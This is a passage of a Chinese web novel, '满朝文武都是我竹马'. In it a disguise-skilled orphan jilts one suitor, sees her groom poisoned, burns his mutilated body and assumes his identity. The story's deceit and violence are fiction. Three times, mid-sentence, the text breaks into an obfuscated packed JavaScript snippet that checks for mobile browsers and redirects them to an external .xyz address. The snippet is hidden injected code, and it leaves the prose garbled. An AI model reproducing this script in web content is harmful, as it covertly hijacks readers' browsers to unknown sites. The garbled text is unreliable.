《满朝文武都是我竹马》 1. 接亲 01 我从小没爹没娘，流落在街头，吃百家饭长大。 幸得村口卖豆腐的阿婆收留，我才有了容身之所。她没有儿女，独自生活了大半辈子。老来寂寞孤苦，便把我当做亲孙女疼爱。 她教我识字念书，识物辨人。我总觉得她的见识谈吐，并非寻常的乡野村妇。 直到临终的时候，阿婆才告诉我真相。原来她曾是江湖有名的易容高手，因为得罪了仇家，所以隐姓埋名在这里过日子。 她不希望自己的易容术就这样失传，因此将其呕心沥血书写成书，交到了我的手上。我在病榻前磕了个响头，发誓定不负所托，势必将易容术传承下去。 她笑着抚摸我的脸，咽下了最后一口气。 我将阿婆葬在了她最爱的榕树底下。 自那以后，我继承了她的衣钵，经营着村口的豆腐店。每日天还未亮，就起床磨豆腐，用挤出来的时间练习易容术。我始终记得阿婆的遗言，一丝也不敢懈怠。日夜起早贪黑，勤加苦练。 最后功夫不负有心人，我终于练得了一手出神入化的易容术。 我生来相貌平凡，身材高，骨架大。没有盈盈一握的细腰，也没有柔若无骨的身形，看起来就跟男子一般无二。但只要施展易容术，我就可以随意更换样貌。 我为自己精心挑选了一张脸皮，循序渐进更换自己的样貌。旁人只觉得我越发赏心悦目，却不知道其中的蹊跷，只道是女大十八变，越变越好看。 没过多久，我便成为了当地有名的豆腐西施。不少人都慕名前来观看我的美貌。 匹夫无罪，怀璧其罪。无依无靠的美貌孤女，自然引得恶徒垂涎三尺。正因为树大招风，不少浪登徒子喜欢来调戏我。 殊不知，这只是我计划的第一步。 02 我不甘愿一辈子就此隐没于乡野。 我想要攀高枝，嫁入高门变凤凰，过上锦衣玉食的生活。为此，我调查了十乡八里的穷书生，挑选其中小有才华的，对他们嘘寒问暖。 我按照百家姓的顺序，对刘郎、张郎、周郎、顾郎等各种郎排序编号，每日用毛笔记录下他们的喜好和言行，来分析他们的行情。 生性愚钝者，悟性不高，难中高官。我用毛笔划掉了他的名字。 耽于玩乐者，意志不坚，难成大事。我再次划掉了几个名字。 胆小懦弱者，不能帮我驱赶恶徒。若是遇着危难，势必会牺牲妻子，保全自己。我又用毛笔划掉了一些名字。 最后剩下的，要么是武艺高强，能勇斗恶徒的壮汉，要么是聪明机敏，能舌战群儒的文人。 英雄救美是男人最喜欢的戏码，能很好地满足他们的虚荣心，拉进我们之间的关系。我以驱赶恶徒、感谢救命之恩为由，对他们暗送秋波。 现如今我顶着的面容，说是倾国倾城的大美人也不为过。 家徒四壁的穷书生，遇见佳人在侧，自然是心神荡漾。我小意温柔，充当他们的解语花，倾听他们的烦恼，为他们排忧解。很快，他们就拜倒在我的石榴裙之下。 他们不知道彼此的存在，都以为自己是我独一无二的竹马。殊不知，他们只是我广撒网的鱼。 作为情投意合的小青梅，我按照岔开的时辰表，给他们送去我亲手做好的饭菜，时刻关心他们的课业。毕竟猪只有养肥了，才方便宰杀。 我坚信，放长线才能钓大鱼。 我对他们说：“哥哥若是某日金榜题名，莫要忘了回来娶我。” 他们都信誓旦旦地承诺：“待我他朝步青云，定会来娶你。” 只可惜，放入海里的鱼，回来得很少。 京城时兴榜下捉婿，竹马们大多是有去无回。乱花渐欲迷人眼，京城的大家闺秀更是数不甚数。 平步青云以后，又有几人能记得出身乡野的青梅呢？ 张郎三年前中了文状元，娶了丞相的女儿。刘郎两年前成了武举人，跟将军的女儿拜堂成了亲。周郎去年是探花，至今未娶，只是鸿雁传信，说时机尚未成熟，要我再等等。 如今我等了一年，周郎从京城派来的信鸽，带来的内容还是等。 切，画大饼谁不会啊。再等下去，黄花菜都凉了。 我把周郎寄来的信件，撕成了稀巴烂，丢进了纸篓里。 03 名册十二卷，竟都是负心郎。 这里头唯一兑现承诺，立刻来娶我的人，只有今年参加武举的顾郎。 顾郎生得人高马大，为人忠厚老实。他虽然是个憨憨，但凭借孔武有力的身材，侥幸讨了个武举的末位。刚好踩着线，当了个小武官。 据说金榜题名当天，他看都没看一眼京城的姑娘，直接雇了匹汗血宝马，立刻快马加鞭，独自启程回乡。 顾郎几天几夜未曾合眼，不分日夜地赶路，就是为了回来见我一面。他的面容看着憔悴，双眼却炯炯有神。 那双清澈的眼眸里，赫然倒映着我的身影。 他寻来媒婆，准备好聘礼，过来向我求亲。我用手帕捂嘴浅笑，低头装作羞涩的模样，实则在心里掂量他的价值。 说实话，顾郎的官位还是小了些。再加上他是个只认理的死脑筋，在官场怕是混不开，升职的上限就摆在这了，八成没什么前途可谈。日后我若是嫁了他，恐怕很难过上锦衣玉食的生活。 然而，我已经老大不小了。再等下去，不知何时才能再钓上个金龟婿。毕竟过了这村，可就没这店了。 铜钱投进湖水里，还能听个响。而我那些飞黄腾达的竹马，可未必能有回音。 十二卷的名册，都只出一个顾郎。我又有多少的大好年华，可以在等待中荒废呢？ 别到时候赔了夫人又折兵，什么好处都捞不着，只能在这荒郊野岭了却余生。 田里庄稼收割了一茬又一茬，赋税又比往年重了几分。我真的再也等不下去了。 我思量完毕，一咬牙，下定了决心，笑道：“顾哥哥，我左等右等，可算是把你给盼来了。” 顾郎眼眸深邃，咧开雪白的牙齿，傻笑道：“婉清，你等着，我明儿个就八抬大轿来娶你。” 他急着娶，我急着嫁，便是一拍即合。 算命先生卜了一卦，说明日不够好，劝我另择良辰吉日。顾郎急着回京上任，不能再往后拖延。而我向来不信命数，自然没有把这话当真。 三书六礼，十里红妆。我戴着凤霞披冠，等着他来接亲。 可是没想到在成亲当天，却来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560165|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两台花轿。 这是个什么情况？ 04 我看着眼前的两台花轿，一时间犯了难。 打东边来的花轿队伍，看起来气宇轩昂，冠盖上绣着金丝牡丹，垂着翡翠珠帘，在阳光下熠熠生辉。 打西边来的花轿队伍，虽挑出什么错处，但与之相对，便显得相形见绌。 我透过红盖头的缝隙，暗中分析眼前的局势。我记得曾在名册里记录过，顾郎住在西边几百里的顾家冲。 至于这东边，确实有几位竹马，但都尚未科举，也不知道来的是谁？ 我心中正纳闷着，转头便看见东边的队伍，突然冒出个熟悉的人脸。 只见周郎翻身下马，快步朝我走来，张开双臂，颇为爽朗地笑道：“婉清，我回来娶你了！这是我特意给你准备的惊喜，高不高兴？” 对于我来说，这不是惊喜，反而是惊吓。 真是个自以为是的男人，尽知道给人添麻烦。 我一把掀开红盖头，在心底翻了个白眼，面上却是笑脸相迎：“周哥哥，我左等右等，可算是把你给盼来了。” 我嘴里念叨的这套话术，跟对顾郎说的内容一模一样。只字未改，纯属犯懒。 周郎浑然未觉，抱着我转了一个圈，瞬间红了眼眶：“婉清，好久不见，你消瘦了许多。” 我现在没心思跟他叙旧，只是一个劲儿地往旁边瞄，生怕顾郎看见我跟他勾肩搭背。 万一顾郎控制不住脾气，磨刀霍霍向周郎，分分钟就可以拿下他的项上人头。 周郎要自找死路，我当然管不着，但我可不想跟着他一命呜呼。 我从周郎的怀里钻了出来，整理了一下鬓边的碎发，把他往房里推，讪笑道：“你回来得太突然，怎的都不跟我提前打声招呼？” 周郎有些不明所以，疑惑道：“我按照约定来娶你，你为何这般紧张？还有，外头那挡道的接亲队伍又是什么情况，难道村里有哪家姑娘也是今日出嫁？” 我心里一咯噔，走到门边，往外探了个头。 如今吉时未到，顾郎的队伍还没有动静，现在做取舍还来得及。 我合上门，深吸一口气，酝酿了片刻，捂着脸开始挤眼泪。 周郎看我哭得梨花带雨，立刻心疼得不行，忙问道：“怎么了，难道有人欺负你了？跟哥哥说，哥哥我帮你做主！” “呜呜呜，其实、其实……”我抽噎了几下，哭得上气不接下气。 见气氛烘托得差不多，我才继续哭哭啼啼地说道：“周哥哥，你每次传信都让我等。我实在是想念你，便忍不住托人打探你的消息。结果听见京城里传来的风声，说你要娶尚书大人的女儿。我、我不想耽误你的前途，便狠下心答应了别人的求亲，只为让自己断了对你的念想。” 我用手帕虚掩着，擦拭眼角的泪花，情深款款地说道：“周哥哥，我只盼着你好。我出身微寒，在仕途上帮不了你，只能出此下策，希望你莫怪我。” “我怎么会怪你呢？”周郎连忙扶住我，将我一把搂紧怀里，郑重其事地发誓道，“你听到的传言都是空穴来风，我此生非你不娶！” 我把脸埋在他的怀里，嘴角扬起一抹笑意。 鱼儿上钩了。 2. 中毒 05 只要是下象棋的人，都知道丢卒保帅的道理。 现如今顾郎是我的卒，而周郎便是我的帅。 正所谓官大一级压死人。同样是在京城为官，也有云泥之别。周郎的官位，比顾郎高上好几阶。 人往高处走，水往低处流。顾郎虽好，却着实比不上周郎有能耐。世人向来拜高踩低，我若是嫁给周郎，那日子肯定能过得更加潇洒。 我在心中拿定了主意，暗自对顾郎道了声歉。 周郎问我：“外头的接亲队伍该如何是好？” 我眼珠子一转，立刻计上心头，轻声哄骗道：“外头那糙汉，由我亲自说去。旁人若是问起来，你只道是与我定亲多年。如此一来，也不至于落人口舌。” 周郎满口答应。 搞定了这边的周郎，现如今只剩下外面的顾郎。我重新给自己遮上红盖头，不紧不慢地走出门外。 屋外锣鼓喧天，大红轿子上系着纸花，在阳光下亮得刺眼。顾郎身骑白马，胸带红花，痴愣愣地望着我。 我嫣然一笑，迈开绣花鞋，款款迎上前去。 顾郎是个认死理的，应付周郎的那套说辞，对他来说完全不管用。 若我拉着顾郎大谈仕途前程，劝他抛下我另觅良人，恐怕他也只会对此置若罔闻。 我决定对症下药。顾郎是个大孝子，对父母的话百依百顺。往好了说是守孝悌，往坏了说就是愚孝。 这点正好可以我所用。 面对另外一队接亲的花轿，顾郎有些不解，正欲开口询问：“为何……” “顾哥哥，婉儿对不起你！”我抓住他的衣摆，猛地跪了下去。 先声夺人，便可抢占先机。顾郎见我下跪，立刻乱了阵脚，连忙翻身下马，将我扶起：“婉清，你这是怎么了？” 我低着头，泫然欲泣道：“顾哥哥，其实我有一事欺瞒了你。” “我过世的阿婆，生前给我定了桩亲事。按理来说，父母之命，媒妁之言，我理当遵守才对，可是我对你情根深种，实在不愿嫁与他人，便一直欺瞒至今。” 我将父母二字咬得极重，继续道：“如今纸终归包不住火，周家按照约定，派人来娶我了。没想到你们竟然会在今日撞见，我想一定是阿婆在天之灵，希望我遵守她的约定。” 直接说谎话，容易被人拆穿。真假掺半，最能让人信服。 我确实先与周郎互许终身，也确实没想到这两人会同时来娶我。就算顾郎信不过我，去周家打探消息，结果也跟我所说的八九不离十，绝对挑不出什么毛病。 听完我的话，顾郎有些混乱：“那、那我们该怎么办？” “我父母去得早，是阿婆一手将我拉扯大。她对于我来说，就是再生父母。”我捂住胸口，做西子捧心状，叹道，“如今我幡然醒悟，我愧对阿婆，愧对死去的父母！” 我伸手抚摸顾郎的脸，恋恋不舍道：“在天愿作比翼鸟，在地愿为连理枝。顾哥哥，你莫怨我。此生我只能嫁与他人，若有来世，我定不会负你。” “你如此守孝道，我怎么会怨你？”顾郎的眼里噙满了泪水。他握着我的手，哑声道：“父母养育之恩大过天，怪只怪造化弄人，我没能早点遇见你，早些去跟你的父母阿婆提亲。” 顾郎一步三回头，满脸痛心地带着迎亲队伍离开了。我望着他离去的身影，不由得松了口气。 只要能把他打发走，别说是来世，就算是下辈子，下下辈子，都无关紧要。 这样的空许诺，我要多少有多少。 06 我坐上了周郎的花轿。 红烛高照，喜幔低垂。拜了天地以后，便是入洞房。 屋外道贺声不断，我端坐在床沿，静静等待着周郎的到来。 没过多久，外面便响起一阵虚浮的脚步声。 周郎绣着祥云纹的靴尖，停在了我的面前。他挑起我的红盖头，扑面而来的是浓烈的酒香。 我皱了皱眉，竭力遏制住掩鼻的冲动。 “婉清，我总算娶到你了。”周郎的声音有些沙哑，带着几分醉意。我闻到他身上酒气熏天，似乎混着一丝若有若无的苦味。 他脱下外衫，按住我的肩膀，将我压倒在床榻之上。 我向来不喜酒肉的臭气，心中有些嫌弃，于是假笑着推开他，转移话题道：“周哥哥，你还没喝合卺酒呢。” “哎呀，你瞧我这记性。”周郎一拍脑袋，摇摇晃晃地站起身来，口齿不清地说道，“都怪我太高兴，竟忘了这么重要的事。” 他自顾自走到桌前，倒了一杯合卺酒，一饮而尽，叹道：“好酒。” 我有些无奈，只好提醒道：“周哥哥，我们要喝交杯酒。” “哦对对对。”周郎如梦初醒般回过神，将酒杯塞到我的手里。 我微微抬眸，正欲饮下杯中酒，却见周郎身形一晃，踉跄着后退两步，堪堪扶住了桌案。 他的面容在烛光下显得格外苍白，唇色却异常红艳。我心头一跳，总觉得哪里不对劲。 我扶住他，问道：“可是身体不适？” 周郎甩开我的手，逞强道：“无妨，许是酒劲上来了。” 他勉强笑了笑，可那笑容还未绽开，便猛地捂住胸口，一口鲜血喷涌而出，溅在喜服上，染出一片刺目的暗红。 “婉清，我怎么……”周郎抹了抹嘴角的血，眼里闪过几分错愕，随即直直地向我栽来。 他艰难地抬起手，似乎想触碰我的脸。可惜才伸到半空，便又无力地垂下。 话音未落，他的瞳孔已经涣散。 周郎伏在我的身上，一动也没有动。我伸手探他的鼻息，已然没有了呼吸。 我推开他冰凉的尸体，这才看清他的嘴唇乌黑，应当是中毒身亡。 周郎刚才喝了合卺酒，莫非是……酒里有毒？！ 我先是后怕，而后是一阵庆幸。若非周郎贪杯，我恐怕也要跟着陪葬。 到底是谁下的毒？目的又是什么？ 不管是谁动的手，嫌疑最大的都是跟他洞房的我。若是县令想草草结案，我恐怕有七张嘴也说不清。 我看着周郎渐渐冰冷的身体，耳边嗡嗡作响。喜烛还在燃烧，烛光却显得那样刺眼。 该死的，早知道我就听算命先生的话，不要赶着在今天拜堂成亲了。 07 常言道：唢呐一响，黄金万两。不是升天，就是拜堂。 没想到，这升天和拜堂，竟然让我同时给撞上了。 我顿时悔不当初。早知如此，当初就该嫁给顾郎。 现在有个最大的问题摆在我的面前，那就是怎样为自己洗脱嫌疑。乡里的县令曾断过不少糊涂案，我可不能保证自己会成为其中的例外。 将全部身家全部押在莫须有的运气上，这是傻子才做的事。更重要的是，我不甘心唾手可得的荣华富贵，就这样与我擦肩而过。 明明只差一点，我就可以当上周夫人，尽情享受锦衣玉食的生活。可不过是转眼的功夫，我苦心经营 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560166|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的美梦，就在一夜之间化为了泡沫。 我焦虑得直啃指甲，但又很快克制了下来。这可是我好不容易保养的手指，不能因为一个男人的死就给糟蹋了。 我深吸一口气，强迫自己冷静下来。 红烛摇曳，烛泪顺着烛台缓缓滑落，在案几上凝成一滩暗红。 我在屋内扫视一圈，目光猛地一顿，落在床头的雕花木匣子上。这是我带来的嫁妆，里面收纳着易容用的工具。 刹那间，一个绝妙的想法冒了出来。我决定易容成周郎。 我身形高挑，正好可以假扮为男子。曾经张郎嫌我嗓音低沉，没有寻常女子娇俏可人。我因此苦恼不已，费了好一番功夫，特意苦练口技，学会变换自己的声线。没想到此时竟然成了我的救命稻草。 周郎的容貌，再加上周郎的嗓音。我便可以狸猫换太子，窃取他的富贵生活，夺走他的大好前途，最后成为他。 万事俱备，只欠东风。我撕开床单做裹胸，匆匆扒下周郎的衣服，穿到自己身上。那些累赘的凤披霞冠，如今套在他的尸体周围，就仿佛是禁锢生魂的枷锁。 只见我手指翻转，转眼间我的脸，就变成了周郎的模样。 男子跟女子骨骼不同的地方，主要在于头颅和盆骨。如果不想让事情败露，最好的办法就是毁尸灭迹。 我拔下头顶的发簪，扎进周郎的盆骨，将其搅碎变形。再将易容剩下的人皮面具覆盖在表面，用透明针线缝制闭合伤口。最后，我把合卺酒洒遍周郎的全身，丢上了燃烧的红烛。 火焰沾上烈酒，跃动得愈发凶猛。 我不动声色地站在墙角，眼睁睁看着烛火点燃血红的嫁衣，蔓延至周郎的全身，隐没了他的面容。 眼看着尸体燃烧殆尽，我不慌不忙地拿起了铜镜，再次端详自己的容貌。确认万无一失后，我在房间的四处也点上了火焰。 直到火势变大，冒起了滚滚浓烟，我才捂着口鼻，佯装慌乱推门而出，喊道：“不好了，起火了！快来人救火！” 听见我的呼救声，家仆急忙提着木桶赶来泼水。只可惜火势已大，不过是杯水车薪。 我装作悲痛欲绝的模样，朝着大火嘶吼，喊着自己的名字：“婉清，快来人救救我的婉清！” 为了做实自己的身份，我甚至装作情深义重的模样，再次往火里扑。 家仆连忙拦住我，劝道：“周大人，您冷静。如果夫人在这里，肯定也不希望您为了她葬送性命啊！” 他不知道的是，我就是夫人，我就在这里。 没有人可以代替我发言。谁说我不希望周郎为我葬送性命，只要我能活下来享受荣华富贵，别说是一个周郎，哪怕是十个周郎死掉都没有关系。 我见戏演得差不多了，便收住势头，跌坐在地上，捂脸叹息道：“你说得对，我要活下去。我可怜的婉清，也一定要活下去。” “来人呐，快带大人去休息。”家仆连忙扶起我，将我暂时安置在了不远处的槐树下。 我站在人群之外，看着他们络绎不绝地赶来救火，仿佛在看一出荒诞不经的闹剧。夜晚模糊了人们的视线，在暗淡的光影下，没有人看见我嘴角勾起的笑容。 “雄兔脚扑朔，雌兔眼迷离，双兔傍地走，安能便能辨我是雌雄？”我轻声哼唱着木兰辞，心情是前所未有的轻快。 没有人知道火里躺着的是谁，而外面站着的又是谁。我们互换了人生，同时也互换了生死。 今日死的是她叶婉清，活的是我周佑民。 3. 入京 08 大火烧了一整个晚上，直到天光乍现才熄灭。 在残存的废墟中，只剩下一具烧得面无全非的干尸。断裂的横梁砸在尸体上，全身上下多处骨骼断裂。仅凭现有的痕迹，无法判断出男女。 官府派来的仵作验了尸，根据残留的钗裙，默认了“叶婉清”的死亡。此事被判定为意外身亡，最后草草了结。 衙门的差役随口问了几句经过，便报上去交了差。整个过程远比我预想得快。 如果出事的是周郎，我想他们肯定会查得更加仔细。可是现如今死的只不过是个无依无靠的孤女，没有任何亲人在世，甚至不用担心有人来击鼓鸣冤。 我偶然听见家仆在私下里议论，说幸好死是刚过门的新夫人，而不是有权有势的周大人。毕竟他们还指望着周大人发月钱，来养活一家老小。 自从我成为了周郎，世界仿佛都变了一番模样。所有人都对我毕恭毕敬，只要我一个眼神，就立刻有人前来为我鞍前马后。 曾经对我嗤之以鼻的人，现在都是点头哈腰，对我做低伏小。 比如那不可一世的县令老爷，他从来不理会良家女子的状告，总是对为非作歹的恶徒睁一只眼闭一只眼，放任他们横行霸道。 在开始物色竹马之前，我曾将恶徒告上过官府。县令收了恶徒的贿赂，没有任何作为，直接把人给放了，气得我捶胸顿足。 现如今我成了周郎，总算能扬眉吐气一把，指挥他为我端茶倒水、捶肩捏背。 县令一边感恩戴德，一边谄笑道：“周大人若是回了京，可莫要忘了同乡的邻里。” “同乡有那么多邻里，我都自顾不暇，哪里照顾得来？”我冷笑了一声，装作不经意地搓了搓手指，别有深意地望着他。 县令一愣，立刻反应了过来。 他了然一笑，从袖口里掏出一袋银子，塞到了我的怀里：“这是我的小小心意，还望大人笑纳。烦请大人回京以后，多为我美言几句，提携提携下官。” 我收下银两，假笑道：“那是当然。” 当然个屁。 提携这个狗屁贪官，还不如提携村口的大黄狗。大黄好歹还能看家护院，这个死胖子贪官却只知道私饱中囊，搜刮民脂民膏。 京城收一成赋税，这死胖子却收两成。后来京城收两成赋税，这死胖子收三成。多余的钱，全部都进了他的口袋。 眼看着历年税收逐渐加重，恐怕再加收下去，真要逼死老百姓。 我看着这肥头大耳的脸，顿时气不打一处来，于是便清了口痰，朝他吐了过去。 “哎呀，你瞧我这，莫名喉咙发痒，不小心弄错了方向。真是失礼，失礼！”我拱起双手，权当刚才发生的事是一场意外。 “大人，您这是哪里的话！”县令抹了把脸上的痰，眉头都没皱一下，陪笑道，“时候也不早了，大人早些歇息。您这边请，我送您出去。” 他挺着大腹便便的肚子，走在前头领路。因为胖得看不见腰，他只能把整个身子往下弯，以显出对我的恭敬。 这模样看起来滑稽极了。 我在心里发笑。哪怕我对他吐痰，骑在他头上作威作福，他也是敢怒不敢言，难怪能当上县令爷。 周郎这身份可真是好用。那晚的大火虽然熄了，我的野心却如同熊熊烈火，疯狂燃烧开来。 只是京城高不成低不就的官，就可以得到如此拥戴。若我平步青云，当上了更大的官，岂不是可以横着走？ 我越发庆幸自己那日的选择，原来做男子竟如此方便。不仅可以考取功名，还可以妻妾成群，拥有数不尽的金银财宝。 如今这世道，女子只有嫁人生子一条路可走，凭什么男子就可以坐享万千拥戴？ 辛辛苦苦钓金龟婿，倒不如权势滔天来得实在。 09 我抱着自己的骨灰，顶着周郎的面容，启程前往京城。 家仆驾着马车，带我回到了周郎的府邸。 “大人，到了。”他拨开帘子，双手撑地，半跪在车轮前。 我停顿了一下，最后还是踩着他下了马车。 眼前的府邸看起来气派大方，入目便是一扇朱漆大门，门楣上悬着鎏金匾额。门前两尊威风凛凛的石狮子，嘴里含着圆滚滚的石球。 如此富态，看来不愁吃穿了。 我满心欢喜，面上却丝毫不显，只是将双手背在身后，昂首阔步往里走。 可越往里走，我越觉着不对劲。这府邸看似富丽堂皇，可细看之下，假山上的青苔已经发黑，池水浑浊不堪，就连回廊的栏杆都有些斑驳，散发着一丝若有若无的霉味。 我不知道周郎的房间在哪，于是停下脚步，对身后的家仆吩咐道：“你去给我准备些点心，放到我的房间。” “这个，那个……”家仆期期艾艾地望着我，半天都没有动作。 我忍不住挥了挥衣袖，催促道：“怎么了，还不快去！” “大人，府里没有点心。如果您要吃的话，得去街上买。” “那就去买。” “可是大人，你上个月的月钱还没有发我。我现在没钱去买点心。”家仆摸了摸脑袋，低头哈腰道。 我沉默了片刻。 此时此刻，我恨不得把周佑民从骨灰盒里掏出来，揪着他的领子质问。 周郎啊周郎，你到底是怎么回事，小厮的月钱不发就算了，怎么连点心都买不起？！ 县令那里敲诈来的银两，在我怀里都还没踹热乎，就要忍痛割爱了。 我叹了口气，拿了一个银子，放到家仆的手心，改口道：“这是你这个月，还有下个月的月钱，点心你先别买了，送壶热茶到我房间。” “好嘞，我这就去。”家仆拿到了月钱，立刻打起了精神。 我坐在正堂，等他泡好热茶，再跟着他找到了周郎的房间。 先前我只是隐约有些担忧，进入里屋后我确认了。周郎并不似表面上的那般风光。 窗棂上的漆已经剥落，露出里面发黑的木头。雕花木床虽然样式精美，但却是陈旧不堪。 我望着家徒四壁的房间，深深地感觉自己上当受骗了。 10 我乔装打扮，去打探了一圈消息，总算搞懂了来龙去脉。 周郎考取功名以后，确实谋了个不错的官职。只可惜他心直口快，说话不过脑子，得罪了不少同僚，暗中总是遭人排挤。他郁郁不得志，偶然踏入赌坊，就此染上了赌瘾。 按理来说，周郎在礼部做事，俸禄还算丰厚。只要不胡乱挥霍，维持日常开支绝对绰绰有余。 可他偏偏是个赌鬼，没过多久，就败光了家财，只能潦倒度日，身边也只留下了一个忠心的家仆。 我就说为何中了科举的竹马，只有周郎时常写信给我。原来是因为京城没有姑娘看上他。 他不是不愿成家，而是成不了家。最后只能装腔作势，来娶我这个一无所知的青梅。 所谓的衣锦还乡，不过是一场骗局。 看来此番我冒用周郎身份进京，非但没能捞着半分好处，还得帮他收拾残局。 唉，真可恨我千算万算，最后做了桩赔本的买卖。本以为是富贵险中求，没想到竟是竹篮打水一场空。 如今我顶着周佑民的脸平安归京，那幕后黑手短期内应该不会再次出手，但始终是个隐患。 只能走一步看一步了。 在彻底了解朝廷局势前，我不敢贸然行动。因此，我需要喘息的时间，为后面的布局做准备。 装病是最好的选择。 我拿出易容工具，对着铜镜调整人皮面具的状态。 头发枯槁，眼圈乌黑，嘴唇微微发白。镜子里的我，俨然一副忧思过度、多日未眠的模样。 洞房花烛夜，妻子亡故。悲痛欲绝之下，我突发恶疾一病不起，也不是没有可能。 为了让这周佑民的戏演得更真实，我决定为叶婉清举办一场葬礼。 11 这场葬礼是我搭的戏台子，而我自己便是唱戏的角儿。 府邸挂上白色绸布，灵堂里摆满白幡。深黑色的檀木灵牌上，刻着遒劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560167|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有力的暗金大字：亡妻叶婉清。 吊唁的宾客陆续到来，里面有几个我同乡的竹马。到底是红颜知己一场，虽然我生前见不着他们的面，但没想到死后他们倒是愿意来看我了。 最先到场的是顾郎。 他一语不发地走进灵堂，呆呆地望着我的灵牌。原本俊朗的轮廓凹陷下去，颧骨高高突起。那双曾经明亮眼睛布满了血丝，周围泛着青黑。 接着到场的是刘郎。这个负心郎，跟将军的女儿成了亲，没想到还能面不改色地出席我的葬礼。 他叹了口气，对我拱手行礼，惺惺作态道：“周弟，请节哀。” 不过是猫哭耗子，假慈悲罢了。我心中虽然不屑，面上却是滴水不漏，故作坚强道：“多谢刘兄安慰。” 刘郎见我面容憔悴，叹道：“周弟真是用情至深，只可惜红颜薄命啊。” 最后到场的是李郎。他当的是个小官，娶的也是个小官的女儿。他跟我寒暄了几句，便对灵堂拜了一拜。 我瞧他跟刘郎谈笑风生、互相攀谈的模样，仿佛从来不曾认识过叶婉清，仿佛真的只是来参加同僚夫人的葬礼，仿佛从不曾对我许下过诺言。 曾经的海誓深盟，都已成过眼云烟。 李郎环顾四周，忽然问道：“张尚书来了吗？” “张知节都当上丞相大人的女婿了，哪里还会记得我们这样的同乡？”刘郎摆了摆衣袖，语气中带着几分讥讽，转而问道，“你说对吧，周弟。” 我笑着打了个哈哈：“张大人可能只是忙吧。” “周弟真是心胸旷阔。”刘郎话里有话，故意煽风点火道，“按理来说，你跟他同在礼部做事，比其他同乡多了一层关系，应当互相帮衬才对。没想到他竟然冷漠至此，对你不闻不问。我真是为周弟你道不平啊！” 我继续装傻：“刘兄这是哪里的话。张大人是礼部尚书，我是他的下官，岂有让他屈尊纡贵的道理？” 朝廷的文官和武官历来不和，刘郎恐怕是想故意挑起我的不满，以此来借刀杀人。哪怕闹不出什么动静，也能给张郎找找麻烦。 若我真的是周郎，恐怕就上了他的当。可惜现在这副壳子底下是我叶婉清，那个被他抛弃的青梅。 没有人能比我更了解这混账肚子里装着什么坏水。 见我不上钩，刘郎的眼里闪过一丝失落。他很快恢复表情，意味深长地说道：“周弟，看在同乡的份上，你听我一句劝。朝廷凶险，风高浪急。要选对方向，才能避开礁石，以免落得个船毁人亡。” 我眼珠子一转，立刻明白了过来。这番话是让我早点站队。 如今朝廷党政激烈，以将军和丞相为首，各成一派。周郎入京为官堪堪一年，还没有明确立场，夹在中间不上不下，确实难做人。 “多谢刘兄提点。”我姑且用场面话搪塞了过去，“刘兄大可放心，我周某人不是墙头草，只是人微言轻，不敢贸然行事。” 刘郎对我虚心的态度很是受用。 “周弟当真是聪慧。”他的语气放缓了几分，带着拉拢的意味，“若是日后有机会，我倒是想把妹妹介绍给你，说不定还能做个亲家……” 他的话正说到一半，却被人从身后推开。只见顾郎气势汹汹地朝我走来，抡起拳头就要挥向我的下巴。 好在李郎眼疾手快拦了下来，大喊道：“顾兄住手，使不得，使不得啊！” “婉清尸骨未寒，你竟然就已经开始盘算着跟别人成亲。”顾郎眼眶泛红，目眦欲裂，嘶吼道，“早知如此，哪怕是背负骂名，我也该强娶了她！” 我望着他激动的神情，心情一时间有些复杂。 李郎趋炎附势，刘郎结党营私，而张郎始终未曾出现。这场我的葬礼，真正来吊唁的，唯有顾郎一人。 我的良心有点痛，同时也有些庆幸。 顾郎是个好人，我没能嫁给他也好，免得耽误了他的好前程。 只是这份惆怅并未持续太久。 我看着眼前的局势，忽然心生一计。事已至此，不如顺水推舟，把事情给闹大些。 4. 昏君 12 我正愁如何造势，没想到瞌睡来了，立刻有人送枕头。顾郎这一拳，正中我的下怀。 他闹得越凶，我越是高兴。如此一来，前来吊唁的宾客，都会知道我因情生病的事。 我后退几步，跌跌撞撞瘫倒在地，掩面而泣道：“顾兄，你误会了！我此生非婉清不娶，这辈子再也不会同他人成亲。” 反正我是女的，左右也没什么损失。要是真娶了哪家的闺秀，反而容易暴露身份。倒不如借此机会封人口舌，免得有好事之徒说亲。 顾郎是个好面子的傻憨憨，见我摔倒在地，一副病殃殃的模样，不好意思继续动手，只能咬牙收回拳头。 他甩开衣袖，愤愤地瞪着我，犹不解气地骂道：“你这个窝囊废，我还没动手，你就倒了。婉清真是倒了八辈子的霉，才嫁给你这种人。” 